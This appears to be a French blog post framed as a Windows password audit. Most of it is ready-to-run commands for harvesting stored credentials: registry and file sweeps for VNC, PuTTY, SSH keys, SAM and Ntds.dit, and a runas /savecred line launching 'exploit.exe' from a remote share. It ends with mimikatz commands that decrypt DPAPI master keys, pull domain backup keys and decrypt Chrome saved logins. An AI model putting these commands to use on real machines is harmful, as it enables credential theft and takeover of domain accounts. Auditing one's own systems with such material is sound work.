Faire un audit des mots de passe sur Windows

Il est important de savoir ce qu’un attaquant pourrait retrouver sur votre poste de travail advenant le cas d’un intrusion réussi. Les mots de passe sont la plupart du temps encryptés, mais si ceux-ci sont trop courts, facilement devinables ou basés sur un mot de passe d’un dictionnaire, un attaquant saura en tirer partie. Un mot de passe peut permettre d’accéder à d’autres services et obtenir davantage d’informations sur votre entreprise. Voici quelques scripts pour vous donner une idée de ce qu’une personne malveillante retrouvera sur votre ordinateur.


ECHO.Recherche dans des clés de registre spécifiques pour retrouver des identifiants de connectins

reg query HKCU\Software\ORL\WinVNC3\Password 2>nul

ECHO.Recherche pour des identifiants VNC
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password 2>nul

ECHO.Identifiants de connexion sur un domaine en cache
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

ECHO.Identifiants SNMP
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s 2>nul

ECHO.Identifiants pour le logiciel TightVNC
reg query HKCU\Software\TightVNC\Server 2>nul

ECHO.Identiants du logiciel Putty enregistrés
reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s 2>nul

ECHO.Clés SSH
reg query HKCU\Software\OpenSSH\Agent\Keys /s 2>nul

ECHO.Recherche de fichiers avec une partie du nom s'appelant password ou credential
cd %USERPROFILE% 2>nul && dir /s/b *password* == *credential* 2>nul

ECHO.Recherche des fichiers de divers logiciels contenant des informations de connexion (git, sudo, sqlite,KeePass, VNC, Elasticsearch, GPG, Docker, ssh)
cd ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..
dir /s/b /A:-D RDCMan.settings == *.rdg == SCClient.exe == *_history == .sudo_as_admin_successful == .profile == *bashrc == httpd.conf == *.plan == .htpasswd == .git-credentials == *.rhosts == hosts.equiv == Dockerfile == docker-compose.yml == appcmd.exe == TypedURLs == TypedURLsTime == History == Bookmarks == Cookies == "Login Data" == places.sqlite == key3.db == key4.db == credentials == credentials.db == access_tokens.db == accessTokens.json == legacy_credentials == azureProfile.json == unattend.txt == access.log == error.log == *.gpg == *.pgp == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12 == *.der == *.csr == *.cer == known_hosts == id_rsa == id_dsa == *.ovpn == anaconda-ks.cfg == hostapd.conf == rsyncd.conf == cesi.conf == supervisord.conf == tomcat-users.xml == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == unattend.xml == unattended.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == groups.xml == services.xml == scheduledtasks.xml == printers.xml == drives.xml == datasources.xml == php.ini == https.conf == https-xampp.conf == httpd.conf == my.ini == my.cnf == access.log == error.log == server.xml == SiteList.xml == ConsoleHost_history.txt == setupinfo == setupinfo.bak 2>nul | findstr /v ".dll"
cd inetpub 2>nul && (dir /s/b web.config == *.log & cd ..)
ECHO.

Et pour une analyse approfondie, vous pouvez faire la recherche dans le contenu des fichiers et dans le nom des clés de registre du mot password ou pwd



reg query HKLM /f passw /t REG_SZ /s
reg query HKCU /f passw /t REG_SZ /s
reg query HKLM /f pwd /t REG_SZ /s
reg query HKCU /f pwd /t REG_SZ /s

@ECHO OFF & SETLOCAL EnableDelayedExpansion
rem for /f %%x in ('wmic logicaldisk get name^| more') do (   ----- Pour une recherche dans tous les lecteurs
for /f %%x in ("C:") do (
  set tdrive=%%x
  if "!tdrive:~1,2!" == ":" (
    %%x
    REM Recherche  du mot password dans les fichiers ayant les extensons .xml, .ini, .txt, .cfg et .config
    findstr /s/n/m/i password *.xml *.ini *.txt *.cfg *.config 2>nul | findstr /v /i "\\AppData\\Local \\WinSxS ApnDatabase.xml \\UEV\\InboxTemplates \\Microsoft.Windows.Cloud \\Notepad\+\+\\ vmware cortana alphabet \\7-zip\\" 2>nul
    ECHO.
    REM Fichiers dont le nom contient le mot pass, cred ou .config pas dans le répertoire \Windows
  
    dir /s/b *pass* == *cred* == *.config* == *.cfg 2>nul | findstr /v /i "\\windows\\"  
    ECHO.
   )
)</code

Gestionnaire de mots de passe (Permet aux usagers de se connecter immédiatement). Liste d'identifiants enregistrés
<code>
cmdkey /list
runas /savecred /user:WORKGROUP\Administrator "\\10.10.10.10\partage\exploit.exe" #savedcred utilise l'information de connection

Parfois l’information enregistré est encrypté avec DPAPI. DPAPI permet d’encoder une clé asymétrique (RSA souvent) en utilisant une clé symétrique. Les clés symétriques sont enregistrés dans le répertoire %APPDATA%\Microsoft\Protect\{SID}. SID est l’idenfiant de sécurité de l’usager (64 octets aléatoires). La clé DPAPI est enregistré dans le même fichier que la clé maître qui protège les clés privés de l’utilisateur. C’est impossible de lister ce répertoire. Vous devez utiliser powershell


Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Il faut utiliser le module mimikatz dpapi::masterkey pour décrypter la clé. Si vous connaissez le mot de passe de l’utilisateur à qui la clé maître appartient, vous pouvez accéder au fichier de la clé maître, vous pouvez obtenir la clé maître. Vous verrez la clé extraite : key.


dpapi::masterkey /in:"C:\Users\spotless.OFFENSE\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /sid:S-1-5-21-2552734371-813931464-1050690807-1106 /password:123456 /protected

Les fichiers protégés par le mot de passe maître sont localisés dans


dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

DPAPI protège les mots de passe et les données pour les fonctionnalités qui permetteent le remplissage automatique des champs dans Google et Internet Explorer, les mots de passe de Outlook et Windows Mail, les mots de passe des partages, les clés de réseau sans-fil, les clés de Windows Cardpace et Windows vault, les mots de passe de RDP, SSL/TLS dans IIS et beaucoup d’autres.

Vous pouvez utiliser mimikatz dpapi::cred avec la clé /masterkey pour la décryption. Vous pouvez aussi extraire plusieurs clés maîtres DPAPI de la mémoire avec sekurlsa::dpapi (administrateur seulement)

dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>

Extraire tous les clés maîtres backup du domaine


lsadump::backupkeys /system:dc01.searchevolution.local /export  #besoin privilège de l'administrateur du domaine. 
dpapi::masterkey /in:"C:\Users\germain.TEST\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /pvk:ntds_capi_0_d2685b31-402d-493b-8d12-5fe48ee26f5a.pvk
dpapi::chrome /in:"c:\users\spotless.offense\appdata\local\Google\Chrome\User Data\Default\Login Data" /masterkey:ffff13e344527c0ec4e016f419fe7457f2deaad500f68baf48b19eb0b8bc265a0669d6db2bddec7a557ee1d92bcb2f43fbf05c7aa87c7902453d5293d99adddd   #décryption des données de connexion encrypté de chrome de l'utilisateur avec la clé obtenu de la commande précédente "key"

Leave a Reply